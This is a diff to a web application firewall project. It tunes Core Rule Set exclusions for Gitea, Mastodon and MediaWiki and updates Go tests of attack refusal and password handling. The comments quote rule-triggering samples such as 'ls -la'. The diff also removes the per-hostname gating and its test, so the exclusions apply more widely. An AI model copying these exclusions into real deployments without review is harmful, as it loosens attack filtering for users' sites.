# gitea's searches of code, of issues and pull requests, and of commits send the # gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there: # text searched for in q, which skips these rules there:
@@ -210,8 +163,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql # 942140: information_schema.sql
# 944110: java/lang/Runtime.java # 944110: java/lang/Runtime.java
# 944130: java.lang.String.md # 944130: java.lang.String.md
# Each request skips the rules that refused it. Rule 900591 already has path and # Each request skips the rules that refused it. The fourth change already has
# redirect_to skip 930120, 932160 and 932260 on every path. # path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file. # A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -336,5 +289,3 @@ SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \ "@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\ "id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range" ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
SecMarker END_GITEA
+80 -10
View File
@@ -1,4 +1,4 @@
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that # The twelfth change: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon # refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each # sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this # exclusion runs with the request, before the rules it switches off, so this
@@ -17,13 +17,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_mastodon when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query: # The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la # q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3 # acct: /api/v1/accounts/lookup?acct=python3
@@ -183,6 +176,85 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
# The passwords named above skip each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
"id:900965,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900966,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# The web app's reports have the JSON keys forward and forward_to_domains. A # The web app's reports have the JSON keys forward and forward_to_domains. A
# report forwarded to another server lists that server in forward_to_domains. # report forwarded to another server lists that server in forward_to_domains.
# Their names contain .forward, a file in a home folder, so 930120 refused every # Their names contain .forward, a file in a home folder, so 930120 refused every
@@ -223,5 +295,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\ "ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/" ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
+60 -23
View File
@@ -6,6 +6,7 @@ import (
"net/http" "net/http"
"net/url" "net/url"
"slices" "slices"
"strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -57,21 +58,7 @@ const (
func TestOrdinaryMastodonRequestsPass(t *testing.T) { func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon") wantRecordedRequestsPass(t, "mastodon-requests.txt")
}
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
} }
// mastodonQueryFields sends each field that skips 930120, 932120, 932250 // mastodonQueryFields sends each field that skips 930120, 932120, 932250
@@ -143,10 +130,6 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="}, {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="},
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="}, {http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="}, {http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
{http.MethodPost, "/admin/report_notes", "report_note[content]="}, {http.MethodPost, "/admin/report_notes", "report_note[content]="},
@@ -159,6 +142,19 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, mastodonRoles, "user_role[name]="}, {http.MethodPost, mastodonRoles, "user_role[name]="},
{http.MethodPost, mastodonTerms, "terms_of_service[text]="}, {http.MethodPost, mastodonTerms, "terms_of_service[text]="},
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="}, {http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordForms sends each password field in a form data body, on
// a path where it skips the four rules and the rules that random passwords
// set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, "/settings/migration", "account_migration[current_password]="}, {http.MethodPost, "/settings/migration", "account_migration[current_password]="},
{ {
http.MethodPost, "/settings/migration/redirect", http.MethodPost, "/settings/migration/redirect",
@@ -166,7 +162,14 @@ var mastodonFormFields = []mastodonBodyField{
}, },
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="}, {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, passwordField}, {http.MethodPost, mastodonSignUp, passwordField},
{http.MethodPost, mastodonSignUp, "reason="}, }
// mastodonPasswordJSON sends the password of signing up through the API in
// a JSON body, with %s for its value.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mastodonPasswordJSON = mastodonBodyField{
http.MethodPost, mastodonSignUp, `{"password":%s}`,
} }
// mastodonJSONFields sends each field that skips the four rules in a JSON // mastodonJSONFields sends each field that skips the four rules in a JSON
@@ -192,7 +195,6 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`}, {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
{http.MethodPost, mastodonReports, `{"comment":%s}`}, {http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`}, {http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`}, {http.MethodPost, mastodonSignUp, `{"reason":%s}`},
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`}, {http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`}, {http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
@@ -301,6 +303,34 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
} }
} }
func TestMastodonPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mastodonPasswordForms {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{sent.method, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
t.Run("JSON", func(t *testing.T) {
t.Parallel()
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
[]string{jsonBody}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
})
}
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) { func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel() t.Parallel()
@@ -313,7 +343,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
} }
} }
for _, sent := range mastodonFormFields { for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold { if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
@@ -324,7 +354,8 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Fatal(err) t.Fatal(err)
} }
for _, sent := range mastodonJSONFields { passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
if mastodonJSON(t, sent, attack) < mastodonThreshold { if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
@@ -344,6 +375,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", sent, score) t.Errorf("%s refused: %d", sent, score)
} }
} }
for _, sent := range mastodonPasswordForms {
if mastodonForm(t, sent, value) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, value)
}
}
} }
code := url.QueryEscape(mastodonCodePost) code := url.QueryEscape(mastodonCodePost)
+82 -13
View File
@@ -1,4 +1,4 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that # The eleventh change: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki # refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a # sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the # reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,13 +21,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields # The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address: # for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history # title: /index.php?title=Python3_notes&action=history
@@ -115,6 +108,86 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# wpPassword, lgpassword and password skip each rule random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900917,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpPassword "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900918,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext # Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these # or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a # rules refused saving or previewing a page whose wikitext held a template, a
@@ -205,12 +278,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read # This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles # and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles # once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not # holding a command.
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain" "id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain" SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
